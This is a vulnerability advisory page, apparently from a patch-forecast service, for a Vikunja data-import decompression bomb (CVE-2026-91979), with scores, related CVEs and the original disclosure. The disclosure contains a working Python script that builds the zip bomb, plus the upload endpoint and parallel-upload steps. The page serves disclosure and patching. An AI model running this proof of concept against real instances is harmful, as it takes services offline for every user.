Patch Forecast
Yellow warning
Plan into this sprint.

CVE-2026-91979 · GHSA-w7jp-mf2v-8342

Vikunja: Denial of service via decompression bomb in the data import

Risk score
55/100
CVSS
7.1 v4.0
Exploit chance (30 days)
0.4%
Published
9 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
Vikunja lets you export your data as a zip and import it back. The import doesn't limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made…
Affected
code.vikunja.io/api (go) <= 2.5.0
Fix
Upgrade code.vikunja.io/api to 2.6.0 or later.
Exploitation
No known exploitation

Story map

Story map: code.vikunja.io/apiTHE FLAWSTHE FIXCVE-2026-91979Vikunja: Denial of service viadecompression bomb in thedata importCVSS 7.1 · EPSS 0%CVE-2026-91972Vikunja: Every /api/v2pre-auth endpoint isunthrottled on a stock install…CVSS 8.7 · EPSS 1%CVE-2026-68581Vikunja: Link-share principalID collision allowscross-account API token…CVSS 8.1 · EPSS 0%CVE-2026-62376Vikunja: Plaintext storage ofpassword-reset/email-confirmtokens in database enables…CVSS 8.1 · EPSS 0%Upgrade code.vikunja.io/api2.4.0or later on your release lineWho is exposedcode.vikunja.io/api (go) <= 2.5.0AMBER · PATCH THIS WEEKcode.vikunja.io/apiregisterAPIRoutesV2 neverapplies the unconditionalpre-auth rate-limit floor(unauthRateLimit()) to the v2public routes — it passes thatlimiter only to /api/v2/ws — andotherwise relies on…Where it standsPublic proof of conceptCONNECTS TOSame weaknessDenial of service (CWE-400)253 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

code.vikunja.io/api: Amber, patch this week. registerAPIRoutesV2 never applies the unconditional pre-auth rate-limit floor (unauthRateLimit()) to the v2 public routes — it passes that limiter only to /api/v2/ws — and otherwise relies on setupRateLimit, which registers nothing when ratelimit.enabled is false (the default). So on a stock install every v2 pre-auth …

The flaws

  • CVE-2026-91979: Vikunja: Denial of service via decompression bomb in the data import (CVSS 7.1 · EPSS 0%)
  • CVE-2026-91972: Vikunja: Every /api/v2 pre-auth endpoint is unthrottled on a stock install while its /api/v1 twin is rate limited (CVSS 8.7 · EPSS 1%)
  • CVE-2026-68581: Vikunja: Link-share principal ID collision allows cross-account API token issuance and management (CVSS 8.1 · EPSS 0%)
  • CVE-2026-62376: Vikunja: Plaintext storage of password-reset/email-confirm tokens in database enables account takeover on DB read access (CVSS 8.1 · EPSS 0%)

The fix

Upgrade code.vikunja.io/api: 2.4.0 or later on your release line

Who is exposed: code.vikunja.io/api (go) <= 2.5.0

Where it stands

  • Public proof of concept

Connects to

Why it is Yellow

  • CVSS 7.1 high
  • On your watchlist: Go

Affected packages

PackageEcosystemVulnerableFixed in
code.vikunja.io/apigo<= 2.5.02.6.0

References

Original description

### Summary Vikunja lets you export your data as a zip and import it back. The import doesn't limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. A single crafted upload is enough to exhaust the server's memory or fill its disk and knock the whole instance offline. It can be repeated or run in parallel, since nothing stops a user from starting several imports at once. ### Details The import accepts an archive in the same layout the built-in export produces: a manifest describing projects and tasks, plus the attachment files those tasks reference. Each individual file inside the archive is size-checked, but there's no ceiling on the total uncompressed size or on the number of files, and there's no per-user storage quota anywhere. On top of that, the server seems to buffer every attachment in memory before writing it out, so the peak memory cost is the sum of all decompressed files at once, not one at a time. Compression is the key factor: a file full of a repeating byte (e.g. zeroes) shrinks by roughly a thousand to one. So an archive that fits under the upload size limit (around 20 MB) can describe on the order of a thousand ~20 MB attachments, which the server then expands to tens of gigabytes in RAM and writes to disk. When memory runs out the process is killed; when the disk fills, the instance (and anything else on that host) stops working. Nothing serialises imports, so a user can also fire several in parallel to reach the limit faster. The fix is to cap the total uncompressed size and the file count per archive, stream each file to disk instead of buffering them all in memory, enforce a per-user storage quota, and refuse a new import while one is already running for that user. ### PoC The attacker needs an ordinary account that can use the import feature. 1. Build a zip in the export format containing one project with for example ~200 tasks, each referencing an attachment, and ~200 attachment files, each 18 MB of zero bytes. Filled with zeroes, the whole thing compresses to roughly 4 MB (under the upload limit). ```python #!/usr/bin/env python3 import argparse, json, os, zipfile CHUNK = b"\0" * (1024 * 1024) def build(out, n, size, version): tasks = [{"title": f"t{i}", "attachments": [{"file": {"id": i, "name": "a"}}]} for i in range(1, n + 1)] data = json.dumps([{"title": "bomb", "tasks": tasks, "child_projects": []}]).encode() with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as z: z.writestr("VERSION", version) z.writestr("data.json", data) for i in range(1, n + 1): with z.open(f"files/{i}", "w") as f: for _ in range(size): f.write(CHUNK) raw = n * size * 1024**2 print(f"[+] {out}: {os.path.getsize(out)/1024**2:.2f} MiB " f"({raw/1024**3:.1f} GiB uncompressed)") p = argparse.ArgumentParser() p.add_argument("-o", "--out", default="bomb.zip") p.add_argument("-n", "--files", type=int, default=200) p.add_argument("-s", "--size-mib", type=int, default=18) p.add_argument("--version", default="v2.5.0") a = p.parse_args() build(a.out, a.files, a.size_mib, a.version) ``` 3. Upload it to the import endpoint: ``` PUT /api/v1/migration/vikunja-file/migrate (multipart file upload: the crafted zip) ``` 4. Watch the server. Memory climbs into 3.5 GB within seconds and the disk fills with the expanded files. On a typical host the process is OOM-killed or the disk fills, and the instance stops responding for everyone. Repeat, or send several uploads at once, to reach the limit reliably. (You can derive the exact archive layout in step 1 by first exporting your own data once and inspecting the zip it hands back.) ### Impact Denial of service (availability). One authenticated user, with a single upload, can drive the server into tens of GB of memory and disk usage, killing the process or filling the disk. This takes the whole instance down for every user, and if the disk is shared with other services on the host, those go down too. No admin rights and no victim interaction are required, any account that can import data is enough. Recovery needs an operator to reclaim memory/disk and clear the partially written import.

Last activity 9 Oct 2026. Patch Forecast updates every hour.